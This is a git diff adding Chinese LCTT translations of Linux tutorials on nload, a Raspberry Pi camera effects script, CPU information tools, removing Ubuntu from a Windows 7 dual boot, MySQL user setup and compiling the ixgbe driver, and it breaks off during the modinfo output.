linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload4.2.png) + +**最小下载速度** + +![nload running on linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload4.3.png) + +**最大下载速度** + +![nload running on linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload4.4.png) + +**总的流入量按字节进行显示** + +![](http://blog.linoxide.com/wp-content/uploads/2015/01/nload4.5.png) + +#### 流出量 #### + +类似的同样适用于流出量 + +#### 一些nload有用的选项#### + +使用选项 + + -u + +用来设置显示流量单位。 + +下面的命令会帮助你使用MBit/s显示单元 + + nload -u m + +下面的屏幕截图显示了上述命令的结果。 + +![nload running on linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload5.png) + +尝试以下命令然后看看有什么结果。 + + nload -u g + +![nload running on linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload6.png) + +同时还有一个**-U**选项。根据手册描述,该选项基本上与-u选项类似,只是用在合计数据。 我测试了这个命令,老实说,当你需要检查总的流入与流出量时非常有用。 + + nload -U G + +![nload running on linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload7.png) + +从上面的截图中可以看到,**nload -U G** 使用Gbyte来显示数据总量。 + +另外一个我喜欢使用的有用选项是 **-t**。 该选项用来设置刷新显示事件间隔,单位为毫秒,默认值为500毫秒。 + +我会通过下面的命令做一些小的实验。 + + nload -t 130 + +那么上述命令做了什么呢?它将刷新显示时间间隔设置为130毫秒。 通常推荐不要将该时间间隔值设置为小于100毫秒,因为nload在生成报告时计算错误。 + +另外的一个选项为 **-a**, 在你想要设置计算平均值的时间窗口的秒数时使用,默认该值为300秒。 + +那么当你想要监控指定的网络设备该如何呢? 非常容易, 像下面这样简单地指定设备或者列出想要监控的设备列表即可。 + + nload wlan0 + +![nload monitoring wlan0 on linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload8.png) + +下面的语法可帮助你监控指定的多个设备。 + + nload [options] device1 device2 devicen + +例如,使用下面的命令来监控eth0和eth1。 + + nload wlan0 eth0 + +如果不带选项来运行nload,那么它会监控所有自动检测到的设备,你可以通过左右方向键来显示其中的任何一个设备的信息。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/monitoring-2/monitor-network-usage-nload/ + +作者:[Oltjano Terpollari][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/oltjano/ +[1]:http://www.roland-riegel.de/nload/nload-0.7.4.tar.gz diff --git a/published/201503/20150121 How to apply image effects to pictures on Raspberry Pi.md b/published/201503/20150121 How to apply image effects to pictures on Raspberry Pi.md new file mode 100644 index 0000000000..4cbdc0fcb8 --- /dev/null +++ b/published/201503/20150121 How to apply image effects to pictures on Raspberry Pi.md @@ -0,0 +1,70 @@ +如何在树莓派上使用图片特效 +================================================================================ +现在使用[树莓派摄像头模组][1]("raspi cam"),也可以像使用卡片相机那样,给拍摄的照片增加各种各样的图片特效。 raspistill命令行工具,为您的树莓派提供了丰富的图片特效选项,来美化处理你的图片。 + +有[三个命令行工具][2]可以用于[抓取raspicam拍摄的照片或者视频][3],在这文章中将重点介绍其中的raspstill工具。raspstill工具提供了丰富的控制选项来处理图片,比如说:锐度(sharpness)、对比度(contrast)、亮度(brightness)、饱和度(saturation)、ISO、自动白平衡(AWB)、以及图片特效(image effect)等。 + +在这篇文章中,将介绍如何使用raspstill工具以及raspicam摄像头模组来控制照片的曝光、AWB以及其他的图片效果。我写了一个简单的python脚本来自动拍摄照片并在这些照片上自动应用各种图片特效。raspicam的帮助文档中介绍了该摄像头模组所支持的曝光模式、AWB和图片特效。总的来说,raspicam一共支持16种图片特效、12种曝光模式以及10种AWB选项。 + +Python脚本很简单,如下所示 。 + + #!/usb/bin/python + import os + import time + import subprocess + list_ex=['auto','night'] + list_awb=['auto','cloud',flash'] + list_ifx=['blur','cartoon','colourswap','emboss','film','gpen','hatch','negative','oilpaint','posterise','sketch','solarise','watercolour'] + x=0 + for ex in list_ex: + for awb in list_awb: + for ifx in list_ifx: + x=x+1 + filename='img_'+ex+'_'+awb+'_'+ifx+'.jpg' + cmd='raspistill -o '+filename+' -n -t 1000 -ex '+ex+' -awb '+awb+' -ifx '+ifx+' -w 640 -h 480' + pid=subprocess.call(cmd,shell=True) + print "["+str(x)+"]-"+ex+"_"+awb+"_"+ifx+".jpg" + time.sleep(0.25) + print "End of image capture" + + +这个脚本完成了以下几个工作。首先,脚本中定义了3个列表,分别用于枚举曝光模式、AWB模式以及图片特效。在这个实例中,我们将使用到2种曝光模式、3种AWB模式以及13种图片特效。脚本会遍历上述3种选项的各种组合,并使用这些参数组合来运行raspistill工具。传入的参数共6个,分别为:(1)输出文件名;(2)曝光模式;(3)AWB模式;(4)图片特效模式;(5)拍照时间,设为1秒;(6)图片尺寸,设为640x480。脚本会自动拍摄78张照片,每张照片会应用不同的特效参数。 + +执行这个脚本也很简单,只需键入下面的命令行: + + $ python name_of_this_script.py + +下面是抓取到一些样张。 + +![](https://farm8.staticflickr.com/7483/16134215939_c93291158a_c.jpg) + +### 小福利 ### + +除了使用raspistill命令行工具来操控raspicam摄像模组以外,还有其他的方法可以用哦。[Picamera][4]是一个python库,它提供了操控raspicam摄像模组的的API接口,这样就可以便捷地构建更加复杂的应用程序。如果你精通python,那么picamera一定是你的 hack 项目的好伙伴。picamera已经被默认集成到Raspbian最新版本的的镜像中。当然,如果你用的不是最新的Raspbian或者是使用其他的操作系统版本,你可以通过下面的方法来进行手动安装。 + +首先,先在你的系统上安装pip,详见[指导][6]。 + +然后,就可以按下面的方法安装picamera。 + + $ sudo pip install picamera + +picamera的使用说明可以查阅[官方文档][7]。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/apply-image-effects-pictures-raspberrypi.html + +作者:[Kristophorus Hadiono][a] +译者:[coloka](https://github.com/coloka) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/kristophorus +[1]:http://xmodulo.com/go/picam +[2]:http://www.raspberrypi.org/documentation/usage/camera/raspicam/ +[3]:http://xmodulo.com/install-raspberry-pi-camera-board.html +[4]:https://pypi.python.org/pypi/picamera +[5]:http://xmodulo.com/go/raspberrypi +[6]:http://ask.xmodulo.com/install-pip-linux.html +[7]:http://picamera.readthedocs.org/ \ No newline at end of file diff --git a/published/201503/20150121 Linux FAQs with Answers--How to check CPU info on Linux.md b/published/201503/20150121 Linux FAQs with Answers--How to check CPU info on Linux.md new file mode 100644 index 0000000000..e8b97a3f0d --- /dev/null +++ b/published/201503/20150121 Linux FAQs with Answers--How to check CPU info on Linux.md @@ -0,0 +1,115 @@ +Linux有问必答:如何查看Linux系统的CPU信息 +================================================================================ +> **问题**: 我想要了解我的电脑关于CPU处理器的详细信息,查看CPU信息比较有效地方法是什么? + +根据你的需要,有各种各样的关于你的CPU处理器信息你需要了解,比如CPU供应商名、模型名、时钟频率、插槽/内核的数量, L1/L2/L3缓存配置、可用的处理器能力(比如:硬件虚拟化、AES, MMX, SSE)等等。在Linux中,有许多命令行或基于GUI的工具就能来展示你的CPU硬件的相关具体信息。 + +### 1. /proc/cpuinfo ### + +最简单的方法就是查看 /proc/cpuinfo ,这个虚拟文件展示的是可用CPU硬件的配置。 + + $ more /proc/cpuinfo + +![](https://farm8.staticflickr.com/7572/15934711577_4136a8e0b9_c.jpg) + +通过查看这个文件,你能[识别出][1]物理处理器数(插槽)、每个CPU核心数、可用的CPU标志寄存器以及其它东西的数量。 + +### 2. cpufreq-info ### + +cpufreq-info命令(**cpufrequtils**包的一部分)从内核/硬件中收集并报告CPU频率信息。这条命令展示了CPU当前运行的硬件频率,包括CPU所允许的最小/最大频率、CPUfreq策略/统计数据等等。来看下CPU #0上的信息: + + $ cpufreq-info -c 0 + +![](https://farm8.staticflickr.com/7484/16094667926_d979240081_c.jpg) + +### 3. cpuid ### + +cpuid命令的功能就相当于一个专用的CPU信息工具,它能通过使用[CPUID功能][2]来显示详细的关于CPU硬件的信息。信息报告包括处理器类型/家族、CPU扩展指令集、缓存/TLB(译者注:传输后备缓冲器)配置、电源管理功能等等。 + + $ cpuid + +![](https://farm9.staticflickr.com/8563/15500753923_6f1b25e8e9_c.jpg) + +### 4. dmidecode ### + +dmidecode命令直接从BIOS的DMI(桌面管理接口)数据收集关于系统硬件的具体信息。CPU信息报告包括CPU供应商、版本、CPU标志寄存器、最大/当前的时钟速度、(启用的)核心总数、L1/L2/L3缓存配置等等。 + + $ sudo dmidecode + +![](https://farm8.staticflickr.com/7503/16094667836_825b61d0e5_b.jpg) + +### 5. hardinfo ### + +hardinfo是一个基于GUI的系统信息工具,它能展示给你一个易于理解的CPU硬件信息的概况,也包括你的系统其它的一些硬件组成部分。 + + $ hardinfo + +![](https://farm8.staticflickr.com/7482/15933041268_40ccc17407_b.jpg) + +### 6. i7z ### + +i7z是一个专供英特尔酷睿i3、i5和i7 CPU的实时CPU报告工具。它能实时显示每个核心的各类信息,比如睿频加速状态、CPU频率、CPU电源状态、温度检测等等。i7z运行在基于ncurses的控制台模式或基于QT的GUI的其中之一上。 + + $ sudo i7z + +![](https://farm8.staticflickr.com/7546/15534687744_1968dc2b18_c.jpg) + +### 8. likwid拓扑 ### + +[likwid][3] (Like I Knew What I'm Doing) 是一个用来测量、配置并显示硬件相关特性的命令行收集工具。其中的likwid拓扑结构能显示CPU硬件(线程/缓存/NUMA)的拓扑结构信息,还能识别处理器家族(比如:Intel Core 2, AMD Shanghai)。 + +![](https://farm8.staticflickr.com/7511/15934711707_5dc0793599_b.jpg) + +### 9. lscpu ### + +lscpu命令用一个更加用户友好的格式统计了 /etc/cpuinfo 的内容,比如CPU、核心、套接字、NUMA节点的数量(线上/线下)。 + + $ lscpu + +![](https://farm8.staticflickr.com/7501/15933173470_69e53b3021_b.jpg) + +### 10. lshw ### + +**lshw**命令是一个综合性硬件查询工具。不同于其它工具,lshw需要root特权才能运行,因为它是在BIOS系统里查询DMI(桌面管理接口)信息。它能报告总核心数和可用核心数,但是会遗漏掉一些信息比如L1/L2/L3缓存配置。GTK版本的lshw-gtk也是可用的。 + + $ sudo lshw -class processor + +![](https://farm9.staticflickr.com/8649/15498132484_a47c4e8cb3_c.jpg) + +### 11. lstopo ### + +lstopo命令 (包括在 [hwloc][4] 包中) 以可视化的方式组成 CPU、缓存、内存和I/O设备的拓扑结构。这个命令用来识别处理器结构和系统的NUMA拓扑结构。 + + $ lstopo + +![](https://farm8.staticflickr.com/7490/15934399829_4012213734_z.jpg) + +### 12. numactl ### + +最初其被开发的目的是为了设置NUMA的时序安排和Linux处理器的内存布局策略,numactl命令也能通过命令行来展示关于CPU硬件的NUMA拓扑结构信息。 + + $ numactl --hardware + +![](https://farm8.staticflickr.com/7553/16094667876_9d7daa77a1_b.jpg) + +### 13. x86info ### + +x86info是一个为了展示基于x86架构的CPU信息的命令行工具。信息报告包括CPU型号、线程/核心数、时钟速度、TLB(传输后备缓冲器)缓存配置、支持的特征标志寄存器等等。 + + $ x86info --all + +![](https://farm8.staticflickr.com/7522/16131238626_d8a703c060_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-cpu-info-linux.html + +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/how-to-find-number-of-cpu-cores-on.html +[2]:http://en.wikipedia.org/wiki/CPUID +[3]:http://xmodulo.com/identify-cpu-processor-architecture-linux.html +[4]:http://xmodulo.com/identify-cpu-processor-architecture-linux.html diff --git a/published/201503/20150122 How To Recover Windows 7 And Delete Ubuntu In 3 Easy Steps.md b/published/201503/20150122 How To Recover Windows 7 And Delete Ubuntu In 3 Easy Steps.md new file mode 100644 index 0000000000..e20cd1c1ab --- /dev/null +++ b/published/201503/20150122 How To Recover Windows 7 And Delete Ubuntu In 3 Easy Steps.md @@ -0,0 +1,182 @@ +如何通过简单的3步恢复Windows 7同时删除Ubuntu +================================================================================ +### 说明 ### + +写这篇文章对我来说是一件奇怪的事情,因为我通常都是提倡安装Ubuntu而卸载Windows的。 + +让今天写这篇文章更加奇怪的是,我决定在微软决定终止对Windows7的主流支持的这一天来写。 + +那么为什么我现在要写这篇文章呢? + +到目前为止我曾经在很多场合被问到如何从一个装有Windows7或Windows8的双系统中删除Ubuntu系统,因此写这篇文章就变得有意义了。 + +我在圣诞节期间浏览了人们在我文章中的留言,感觉是时候把缺失的文章写完同时更新一下那些比较老的又需要关注的文章了。 + +我打算把一月份剩下的时间都用在这上面。这是第一步。如果你的电脑上安装了Windows7和Ubuntu双系统,同时你不想通过恢复出厂设置的方式恢复Windows7系统,那么请参考该教程。(注意:对于Windows8系统,有一个独立的教程) + +### 删除Ubuntu系统需要的步骤 ### + +1. 通过修复Windows启动项来删除Grub +1. 删除Ubuntu系统所在分区 +1. 扩展Windows系统分区 + +### 备份系统 ### + +在你开始之前,我建议为你的系统保留一个备份。 + +我建议你不要放弃备份的机会,但也不要使用微软自带的工具。 + +[点击查看如何使用Macrinum Reflect备份你的驱动][1] + +如果Ubuntu中有你希望保存的数据,现在就登录进去然后将数据保存到外部硬盘驱动器,USB驱动器或者DVD中。 + +### 步骤1 - 删除Grub启动菜单 ### + +![](http://1.bp.blogspot.com/-arVqwMLpJRQ/VLWbHWkqYsI/AAAAAAAAHmw/kn3jDPOltX4/s1600/grubmenu.jpg) + +当你启动系统的时候你会看见一个与上图类似的菜单。 + +要想删除这个菜单直接进入Windows系统,你必须修复主引导记录。 + +要达到这个目的,我将向你展示如何创建一个系统恢复盘,如何从恢复盘中启动以及如何修复主引导记录。 + +![](http://2.bp.blogspot.com/-ML2JnNc8OWY/VLWcAovwGNI/AAAAAAAAHm4/KH778_MkU7U/s1600/recoverywindow1.PNG) + +按下“开始”按钮,搜索“备份和还原”。点击出现的图标。 + +将会打开一个与上图一样的窗口。 + +点击“创建系统修复光盘”。 + +你需要一个[空的DVD盘][2]。 + +![](http://2.bp.blogspot.com/-r0GUDZ4AAMI/VLWfJ0nuJLI/AAAAAAAAHnE/RloNqdXLLcY/s1600/recoverywindow2.PNG) + +将空的DVD盘插入到驱动器中然后从下拉列表中选择你的DVD驱动器。 + +点击“创建光盘”。 + +将光盘留在电脑中并重启电脑,当出现从CD中启动的消息的时候按下键盘上的“回车”键。 + +![](http://2.bp.blogspot.com/-VPSD50bmk2E/VLWftBg7HxI/AAAAAAAAHnM/APVzvPg4rC0/s1600/recoveryoptionschooselanguage.jpg) + +屏幕上会出现“系统恢复选项”。 + +它会要求你选择你的键盘布局方式。 + +从列表中选择合适的选项,然后点击“下一步”。 + +![](http://2.bp.blogspot.com/-klK4SihPv0E/VLWgLiPO1mI/AAAAAAAAHnU/DUgxH6N2SFE/s1600/RecoveryOptions.jpg) + +下一个界面让你选择你想修复的操作系统。 + +或者你可以使用早先保存的系统镜像恢复系统。 + +选中上面的选项然后点击“下一步”。 + +![](http://2.bp.blogspot.com/-WOk-Unm6cCQ/VLWgvzoBgzI/AAAAAAAAHng/vfxm1jhW1Ms/s1600/RecoveryOptions2.jpg) + +现在你将会看到一个有修复硬盘和恢复您的系统等选项的界面。 + +你需要做的是修复主引导记录,而这可以通过领命提示符来完成。 + +点击“命令提示符”。 + +![](http://4.bp.blogspot.com/-duT-EUC0yuo/VLWhHygCApI/AAAAAAAAHno/bO7UlouyR9M/s1600/FixMBR.jpg) + +现在只需要把下面的命令输入到命令提示符中: + + bootrec.exe /fixmbr + +接下来将会出现一条消息,提示操作已经成功完成。 + +你现在就可以关闭命令提示符窗口了。 + +点击“重启”按钮然后取出DVD。 + +你的电脑就会直接启动进入Windows7系统了。 + +### 步骤 2 - 删除Ubuntu分区 ### + +![](http://4.bp.blogspot.com/-1OM0b3qBeHk/VLWh89gtgVI/AAAAAAAAHn0/ECHIARNCRp8/s1600/diskmanagement1.PNG) + +要删除Ubuntu你需要使用Windows系统提供的“磁盘管理”工具。 + +按下“开始”按钮然后在搜索框中输入“创建和格式化磁盘分区”。将会出现一个与上图类似的窗口。 + +现在上面我的屏幕将不再和你的一模一样了,不过也不会相差太多。你会看到第0块磁盘有101MB的未分配空间,另外还有4个分区。 + +这101MB的空间是之前我安装Windows7时犯的一个错误。驱动器C是Windows7系统,下一个分区(46.57GB)是Ubuntu的根分区。287G的分区是/HOME分区,8G的分区是交换空间。 + +对于Windows系统来说,我们真正需要的只有驱动器C,所以剩下的是可以删掉的。 + +**注意: 注意一下.你的磁盘上可能有恢复分区。 不要删除恢复分区。它们应该有专门的卷标,文件系统也许是NTFS或FAT32** + +![](http://3.bp.blogspot.com/-8YUE2p5Fj8Q/VLWlHXst6JI/AAAAAAAAHoQ/BJC57d9Nilg/s1600/deletevolume.png) + +在你希望删除的分区上单击右键(例如:root,home和swap分区),然后从弹出的菜单中点击“删除卷”。 + +**(不要删除任何NTFS或者FAT32文件系统的分区!)** + +对于剩下的两个分区重复执行上面的操作。 + +![](http://3.bp.blogspot.com/-IGbJLkc_soY/VLWk1Vh0XAI/AAAAAAAAHoA/v7TVFT0rC0E/s1600/diskmanagement2.PNG) + +分区被删除后你将会有很大的一片空闲区域。右键点击空闲区域然后选择删除。 + +![](http://4.bp.blogspot.com/-2xUBkWHpnC4/VLWk9cYXGZI/AAAAAAAAHoI/8F2ANkorGeM/s1600/diskmanagement3.PNG) + +现在你的磁盘将包含驱动器C和一大片没有分配的空间。 + +### 步骤 3 - 扩展Windows分区 ### + +![](http://4.bp.blogspot.com/-pLV5L3CvQ1Y/VLWmh-5SKTI/AAAAAAAAHoc/7sJzITyvduo/s1600/diskmanagement4.png) + +最后一步是扩展Windows以便于将它再变成一个大的分区。 + +右键点击Windows分区(C盘),然后选择“扩展卷”。 + +![](http://1.bp.blogspot.com/-vgmw_N2WZWw/VLWm7i5oSxI/AAAAAAAAHok/k0q_gnIik9A/s1600/extendvolume1.PNG) + +当出现左面的窗口的时候点击“下一步”。 + +![](http://3.bp.blogspot.com/-WLA86V-Au8g/VLWnTq5RpAI/AAAAAAAAHos/6vzjLNkrwRQ/s1600/extendvolume2.PNG) + +接下来是一个向导界面,在这里你可以选择扩展到那个盘,同时修改扩展的大小。 + +默认情况下,向导界面将显示它能从未分配区域中获取的最大的磁盘空间数。 + +接受默认的选项,然后点击“下一步”。 + +![](http://4.bp.blogspot.com/-1rhTJvwem0k/VLWnvx7fWFI/AAAAAAAAHo0/D-4HA8E8y2c/s1600/extendvolume3.PNG) + +最后的界面展示了你在前一个界面中的选择结果。 + +点击“结束”进行磁盘扩展。 + +![](http://2.bp.blogspot.com/-CpuLXSYyPKY/VLWoEGU3sCI/AAAAAAAAHo8/7o5G4W4b7zU/s1600/diskmanagement5.PNG) + +从上图中你可以看到,我的Windows分区占据了整个磁盘(除了我之前安装Windows的时候偶然创建的101MB的空间)。 + +### 总结 ### + +![](http://1.bp.blogspot.com/-h1Flo2aGFcI/VLWogr2zfMI/AAAAAAAAHpE/2ypTSgR8_iM/s1600/fullwindowsscreen.PNG) + +这就是全部内容。一个致力于Linux的网站刚刚向你展示了如何移除Linux然后用Windows7取而代之。 + +有任何疑问可以在下面评论区留言。 + +-------------------------------------------------------------------------------- + +via: http://www.everydaylinuxuser.com/2015/01/how-to-recover-windows-7-and-delete.html + +作者:Gary Newell +译者:[Medusar](https://github.com/Medusar) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.about.com/od/LinuxNewbieDesktopGuide/ss/Create-A-Recovery-Drive-For-All-Versions-Of-Windows.htm +[2]:http://www.amazon.co.uk/gp/product/B0006L2HTK/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1634&creative=6738&creativeASIN=B0006L2HTK&linkCode=as2&tag=evelinuse-21&linkId=3R363EA63XB4Z3IL + + diff --git a/published/201503/20150122 Linux FAQs with Answers--How to create and configure a MySQL user from the command line.md b/published/201503/20150122 Linux FAQs with Answers--How to create and configure a MySQL user from the command line.md new file mode 100644 index 0000000000..0b393aa3b1 --- /dev/null +++ b/published/201503/20150122 Linux FAQs with Answers--How to create and configure a MySQL user from the command line.md @@ -0,0 +1,107 @@ +Linux有问必答:如何通过命令行创建和设置一个MySQL用户 +================================================================================ + +> **问题**:我想要在MySQL服务器上创建一个新的用户帐号,并且赋予他适当的权限和资源限制。如何通过命令行的方式来创建并且设置一个MySQL用户呢? + +要访问一个MySQL服务器,你需要使用一个用户帐号登录其中方可进行。每个MySQL用户帐号都有许多与之相关连的属性,例如用户名、密码以及权限和资源限制。"权限"定义了特定用户能够在MySQL服务器中做什么,而"资源限制"为用户设置了一系列服务器资源的使用许可。创建或更新一个用户涉及到了对用户帐号所有属性的管理。 + +下面展示了如何在Linux中创建和设置一个MySQL用户。 + +首先以root身份登录到MySQL服务器中。 + + $ mysql -u root -p + +当验证提示出现的时候,输入MySQL的root帐号的密码。 + +![](https://farm8.staticflickr.com/7482/16024190060_fff53d8840_b.jpg) + +### 创建一个MySQL用户 ### + +使用如下命令创建一个用户名和密码分别为"myuser"和"mypassword"的用户。 + + mysql> CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypassword'; + +一旦用户被创建后,包括加密的密码、权限和资源限制在内的所有帐号细节都会被存储在一个名为**user**的表中,这个表则存在于**mysql**这个特殊的数据库里。 + +运行下列命令,验证帐号是否创建成功 + + mysql> SELECT host, user, password FROM mysql.user WHERE user='myuser'; + +### 赋予MySQL用户权限 ### + +一个新建的MySQL用户没有任何访问权限,这就意味着你不能在MySQL数据库中进行任何操作。你得赋予用户必要的权限。以下是一些可用的权限: + +- **ALL**: 所有可用的权限 +- **CREATE**: 创建库、表和索引 +- **LOCK_TABLES**: 锁定表 +- **ALTER**: 修改表 +- **DELETE**: 删除表 +- **INSERT**: 插入表或列 +- **SELECT**: 检索表或列的数据 +- **CREATE_VIEW**: 创建视图 +- **SHOW_DATABASES**: 列出数据库 +- **DROP**: 删除库、表和视图 + +运行以下命令赋予"myuser"用户特定权限。 + + mysql> GRANT ON . TO 'myuser'@'localhost'; + +以上命令中,`` 代表着用逗号分隔的权限列表。如果你想要将权限赋予任意数据库(或表),那么使用星号(*)来代替数据库(或表)的名字。 + +例如,为所有数据库/表赋予 CREATE 和 INSERT 权限: + + mysql> GRANT CREATE, INSERT ON *.* TO 'myuser'@'localhost'; + +验证给用户赋予的全权限: + + mysql> SHOW GRANTS FOR 'myuser'@'localhost'; + +![](https://farm8.staticflickr.com/7556/16209665261_923282bddd_c.jpg) + +将全部的权限赋予所有数据库/表: + + mysql> GRANT ALL ON *.* TO 'myuser'@'localhost'; + +你也可以将用户现有的权限删除。使用以下命令废除"myuser"帐号的现有权限: + + mysql> REVOKE ON .
FROM 'myuser'@'localhost'; + +### 为用户添加资源限制 ### + +在MySQL中,你可以为单独的用户设置MySQL的资源使用限制。可用的资源限制如下: + +- **MAX\_QUERIES\_PER\_HOUR**: 允许的每小时最大请求数量 +- **MAX\_UPDATES\_PER\_HOUR**: 允许的每小时最大更新数量 +- **MAX\_CONNECTIONS\_PER\_HOUR**: 允许的每小时最大连接(译者注:[其与 MySQL全局变量: max\_user\_connections 共同决定用户到数据库的同时连接数量](http://dev.mysql.com/doc/refman/5.0/en/user-resources.html))数量 +- **MAX\_USER\_CONNECTIONS**: 对服务器的同时连接量 + +使用以下命令为"myuser"帐号增加一个资源限制: + + mysql> GRANT USAGE ON .
TO 'myuser'@'localhost' WITH ; + +在 `` 中你可以指定多个使用空格分隔开的资源限制。 + +例如,增加 MAX_QUERIES_PER_HOUR 和 MAX_CONNECTIONS_PER_HOUR 资源限制: + + mysql> GRANT USAGE ON *.* TO 'myuser'@'localhost' WITH MAX_QUERIES_PER_HOUR 30 MAX_CONNECTIONS_PER_HOUR 6; + +验证用户的资源限制: + + mysql> SHOW GRANTS FOR 'myuser'@'localhost; + +![](https://farm8.staticflickr.com/7537/16025443759_5cb4177bc6_c.jpg) + +创建和设置一个MySQL用户最后的一个重要步骤: + + mysql> FLUSH PRIVILEGES; + +如此一来更改便生效了。现在MySQL用户帐号就可以使用了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/create-configure-mysql-user-command-line.html + +译者:[Ping](http://weibo.com/370321376) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201503/20150122 Linux FAQs with Answers--How to download and install ixgbe driver on Ubuntu or Debian.md b/published/201503/20150122 Linux FAQs with Answers--How to download and install ixgbe driver on Ubuntu or Debian.md new file mode 100644 index 0000000000..bcaa1b3c26 --- /dev/null +++ b/published/201503/20150122 Linux FAQs with Answers--How to download and install ixgbe driver on Ubuntu or Debian.md @@ -0,0 +1,144 @@ +Linux 有问必答:如何在Ubuntu或者Debian中编译安装ixgbe驱动 +================================================================================ +> **提问**: 我想为我的Intel 10G网卡下载安装最新的ixgbe驱动。我该如何在Ubuntu(或者Debian)中安装ixgbe驱动? + +Intel的10G网卡(比如,82598、 82599、 x540)由ixgbe驱动支持。现代的Linux发行版已经带有了ixgbe驱动,通过可加载模块的方式使用。然而,有些情况你希望在你机器上的自己编译安装ixgbe驱动,比如,你想要体验ixbge驱动的最新特性时。同样,内核默认自带的ixgbe驱动中的一个问题是不允许你自定义驱动的参数。如果你想要一个完全定制的ixgbe驱动(比如 RSS、多队列、中断阈值等等),你需要手动从源码编译ixgbe驱动。 + +这里是如何在Ubuntu、Debian或者它们的衍生版中下载安装ixgbe驱动的教程。 + +### 第一步: 安装前提 ### + +安装之前,需要安装匹配的内核头文件和开发工具包。 + + $ sudo apt-get install linux-headers-$(uname -r) + $ sudo apt-get install gcc make + +### 第二步: 编译Ixgbe驱动 ### + +从[最新的ixgbe驱动][1]中下载源码。 + + $ wget http://sourceforge.net/projects/e1000/files/ixgbe%20stable/3.23.2/ixgbe-3.23.2.tar.gz + +如下编译ixgbe驱动。 + + $ tar xvfvz ixgbe-3.23.2.tar.gz + $ cd ixgbe-3.23.2/src + $ make + +### 第三步: 检查Ixgbe驱动 ### + +编译之后,你会看到在ixgbe-3.23.2/src目录下创建了**ixgbe.ko**。这就是会加载到内核之中的ixgbe驱动。 + +用modinfo命令检查内核模块的信息。注意你需要指定模块文件的绝对路径(比如 ./ixgbe.ko 或者 /home/xmodulo/ixgbe/ixgbe-3.23.2/src/ixgbe.ko)。输出中会显示ixgbe内核的版本。 + + $ modinfo ./ixgbe.ko + +---------- + + filename: /home/xmodulo/ixgbe/ixgbe-3.23.2/src/ixgbe.ko + version: 3.23.2 + license: GPL + description: Intel(R) 10 Gigabit PCI Express Network Driver + author: Intel Corporation, + srcversion: 2ADA5E537923E983FA9DAE2 + alias: pci:v00008086d00001560sv*sd*bc*sc*i* + alias: pci:v00008086d00001558sv*sd*bc*sc*i* + alias: pci:v00008086d0000154Asv*sd*bc*sc*i* + alias: pci:v00008086d00001557sv*sd*bc*sc*i* + alias: pci:v00008086d0000154Fsv*sd*bc*sc*i* + alias: pci:v00008086d0000154Dsv*sd*bc*sc*i* + alias: pci:v00008086d00001528sv*sd*bc*sc*i* + alias: pci:v00008086d000010F8sv*sd*bc*sc*i* + alias: pci:v00008086d0000151Csv*sd*bc*sc*i* + alias: pci:v00008086d00001529sv*sd*bc*sc*i* + alias: pci:v00008086d0000152Asv*sd*bc*sc*i* + alias: pci:v00008086d000010F9sv*sd*bc*sc*i* + alias: pci:v00008086d00001514sv*sd*bc*sc*i* + alias: pci:v00008086d00001507sv*sd*bc*sc*i* + alias: pci:v00008086d000010FBsv*sd*bc*sc*i* + alias: pci:v00008086d00001517sv*sd*bc*sc*i* + alias: pci:v00008086d000010FCsv*sd*bc*sc*i* + alias: pci:v00008086d000010F7sv*sd*bc*sc*i* + alias: pci:v00008086d00001508sv*sd*bc*sc*i* + alias: pci:v00008086d000010DBsv*sd*bc*sc*i* + alias: pci:v00008086d000010F4sv*sd*bc*sc*i* + alias: pci:v00008086d000010E1sv*sd*bc*sc*i* + alias: pci:v00008086d000010F1sv*sd*bc*sc*i* + alias: pci:v00008086d000010ECsv*sd*bc*sc*i* + alias: pci:v00008086d000010DDsv*sd*bc*sc*i* + alias: pci:v00008086d0000150Bsv*sd*bc*sc*i* + alias: pci:v00008086d000010C8sv*sd*bc*sc*i* + alias: pci:v00008086d000010C7sv*sd*bc*sc*i* + alias: pci:v00008086d000010C6sv*sd*bc*sc*i* + alias: pci:v00008086d000010B6sv*sd*bc*sc*i* + depends: ptp,dca + vermagic: 3.11.0-19-generic SMP mod_unload modversions + parm: InterruptType:Change Interrupt Mode (0=Legacy, 1=MSI, 2=MSI-X), default IntMode (deprecated) (array of int) + parm: IntMode:Change Interrupt Mode (0=Legacy, 1=MSI, 2=MSI-X), default 2 (array of int) + parm: MQ:Disable or enable Multiple Queues, default 1 (array of int) + parm: DCA:Disable or enable Direct Cache Access, 0=disabled, 1=descriptor only, 2=descriptor and data (array of int) + parm: RSS:Number of Receive-Side Scaling Descriptor Queues, default 0=number of cpus (array of int) + parm: VMDQ:Number of Virtual Machine Device Queues: 0/1 = disable, 2-16 enable (default=8) (array of int) + parm: max_vfs:Number of Virtual Functions: 0 = disable (default), 1-63 = enable this many VFs (array of int) + parm: VEPA:VEPA Bridge Mode: 0 = VEB (default), 1 = VEPA (array of int) + parm: 